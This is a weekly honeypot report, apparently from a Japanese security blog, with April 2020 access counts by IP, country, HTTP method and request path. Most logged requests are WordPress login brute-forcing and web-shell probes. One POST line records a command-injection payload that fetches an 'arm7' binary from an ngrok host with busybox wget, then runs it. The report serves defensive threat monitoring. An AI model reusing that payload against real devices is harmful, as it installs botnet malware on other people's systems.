サイバーセキュリティ＆人工知能研究所

週刊ハニーポット(2020/04/13号)

2020/04/05-2020/04/11

2020/04/13 : Honeypot

私が運営するハニーポット(WOWHoneypot)の週刊アクセス情報です。
[注意]週に10回以上の同種同一アクセスを降順に集計しています。

---

・日別アクセス数

日付	回数
2020-04-05	783
2020-04-06	674
2020-04-07	752
2020-04-08	750
2020-04-09	948
2020-04-10	6682
2020-04-11	3950

・IP アドレス別アクセス回数

IP アドレス(国別コード)	回数
222.170.170.196 (CN)	5952
185.39.10.73 (CH)	3486
193.106.30.99 (UA)	1028
216.245.221.83 (US)	199
163.172.146.119 (GB)	102
163.172.190.160 (GB)	96
192.41.19.53 (US)	55
148.217.94.54 (MX)	52
192.41.71.199 (US)	36
163.172.189.32 (GB)	33
180.250.12.19 (ID)	23
192.99.149.195 (CA)	21
62.210.201.108 (FR)	21
62.210.88.239 (FR)	21
51.83.207.112 (FR)	21
45.64.134.198 (BD)	20
51.158.165.18 (FR)	20
124.95.178.58 (CN)	19
5.101.0.209 (RU)	18
68.183.60.156 (US)	18
95.179.201.234 (GB)	18
173.208.234.202 (US)	18
171.67.70.85 (US)	16
51.158.186.242 (FR)	16
142.93.47.171 (GB)	15
142.93.73.89 (US)	15
138.68.52.53 (US)	15
188.166.18.69 (NL)	15
69.163.224.109 (US)	15
163.172.216.150 (NL)	15
198.57.167.49 (US)	14
155.94.131.150 (US)	14
189.57.62.146 (BR)	13
51.158.180.179 (FR)	13
208.113.153.203 (US)	12
34.87.63.134 (US)	12
103.48.192.203 (VN)	12
91.134.142.57 (FR)	12
157.245.150.99 (SG)	12
138.197.134.206 (CA)	12
104.248.227.104 (US)	12
174.138.30.233 (SG)	12
208.109.11.224 (US)	12
217.182.73.36 (FR)	12
123.31.43.173 (VN)	12
84.3.176.12 (HU)	12
93.113.110.111 (GB)	12
45.122.223.198 (VN)	12
167.114.235.12 (FR)	12
223.25.99.37 (ID)	12
35.232.75.184 (US)	12
114.5.177.198 (ID)	12
157.55.39.76 (US)	11
172.80.253.50 (IR)	11
138.197.141.124 (CA)	10
35.198.48.78 (US)	10
82.200.233.4 (KZ)	10
132.145.89.166 (KR)	10
217.116.134.29 (RU)	10

・国別アクセス回数

国名(国別コード)	回数
China (CN)	6075
Switzerland (CH)	3487
United States (US)	1471
Ukraine (UA)	1042
France (FR)	419
United Kingdom (GB)	410
Singapore (SG)	224
Germany (DE)	189
Netherlands (NL)	140
Canada (CA)	125
Vietnam (VN)	118
Indonesia (ID)	104
India (IN)	98
Russia (RU)	81
Mexico (MX)	55
Brazil (BR)	49
Italy (IT)	41
Japan (JP)	32
South Korea (KR)	28
Turkey (TR)	27
Iran (IR)	26
Hong Kong (HK)	24
Malaysia (MY)	23
Bangladesh (BD)	23
Hungary (HU)	19
Thailand (TH)	18
Sweden (SE)	15
Poland (PL)	13
Finland (FI)	11
Greece (GR)	10
Taiwan (TW)	10
Australia (AU)	10
Kazakhstan (KZ)	10

・メソッド別アクセス回数

メソッド	回数
GET	1516
POST	12820
HEAD	197
PROPFIND	0
CONNECT	6

・リクエスト別アクセス回数(GET)

リクエスト	回数
GET /wp-login.php	764
GET /robots.txt	28
GET /blog/wp-login.php	24
GET /ads.txt	15
GET ///?author=1	11
GET ///wp-json/wp/v2/users/	11

・リクエスト別アクセス回数(POST)

リクエスト	回数
POST /wp-login.php	4225
POST /wp//wp-login.php	1525
POST /wordpress//wp-login.php	1499
POST //wp-login.php	1446
POST /blog//wp-login.php	1439
POST /xmlrpc.php	917
POST /code.conflicts.php	145
POST /work.clases.php	32
POST /less.img.php	31
POST /cookie.sess.php	29
POST /database.exceptions.php	26
POST /throw.clases.php	24
POST /load.log.php	24
POST /library.admin.php	24
POST /img.multi.php	24
POST /img.http.php	24
POST /process.created.php	24
POST /cache.jpeg.php	24
POST /admin.conflicts.php	24
POST /storage.processor.php	24
POST /database.tmp.php	24
POST /json.accepted.php	23
POST /conflict.accept.php	22
POST /cache.bad.php	21
POST /tool.cookie.php	21
POST /config.sys.php	21
POST /multi.http.php	21
POST /link.internal.php	21
POST /content.conflicts.php	21
POST /cookie.archive.php	21
POST /include.bad.php	21
POST /type.sessions.php	21
POST /post.content.php	21
POST /session.content.php	21
POST /archive.db.php	21
POST /content.using.php	21
POST /types.library.php	21
POST /method.xml.php	21
POST /process.htaccess.php	21
POST /media.css.php	21
POST /gateway.png.php	21
POST /sys.link.php	21
POST /clients.tools.php	20
POST /success.include.php	20
POST /work.modes.php	20
POST /tmp.data.php	20
POST /library.clients.php	20
POST /client.reset.php	19
POST /success.init.php	19
POST /init.using.php	19
POST /load.jpg.php	18
POST /using.sess.php	18
POST /accepted.lock.php	18
POST /data.image.php	18
POST /created.gateway.php	18
POST /exception.accept.php	18
POST /cache.store.php	18
POST /less.reset.php	18
POST /database.jpeg.php	18
POST /db.body.php	18
POST /blog/closedbeta.net/blog/wp-login.php	17
POST /content.process.php	17
POST /except.exceptions.php	17
POST /wp-content/plugins/temp.php	17
POST /media.modes.php	17
POST /modes.json.php	17
POST /media.processor.php	17
POST /cookie.admin.php	17
POST /system.processor.php	15
POST /success.class.php	15
POST /locked.clients.php	14
POST /sys.logs.php	14
POST /throw.xmlrpc.php	14
POST /data.logs.php	13
POST /css.accepted.php	13
POST /requests.request.php	13
POST /system.gone.php	13
POST /jpeg.using.php	12
POST /config.throws.php	12
POST /cgi-bin/mainfunction.cgi?action=login&keyPath=%27%0A/bin/sh${IFS}-c${IFS}'cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}arm7;${IFS}busybox${IFS}wget${IFS}http://19ce033f.ngrok.io/arm7;${IFS}chmod${IFS}777${IFS}arm7;${IFS}./arm7'%0A%27&loginUser=a&loginPwd=a	11
POST /png.jpg.php	11
POST /jpeg.png.php	11
POST /client.config.php	11
POST /accepted.exceptions.php	11
POST /internal.clients.php	11
POST /suspected.processor.php	11
POST /admin.database.php	10
POST /css.images.php	10
POST /requests.suspect.php	10

・HTTP バージョン別アクセス回数

HTTP バージョン	回数
HTTP/1.1	14470
HTTP/1.0	69

(全 14539 アクセス)

---

記述に際しては、細心の注意をしたつもりですが、間違いやご指摘がありましたら、こちらからお知らせいただけると幸いです。

→「週刊ハニーポット(2020/04/20号)」
←「月刊ハニーポット(2020/04/01号)」


«　戻る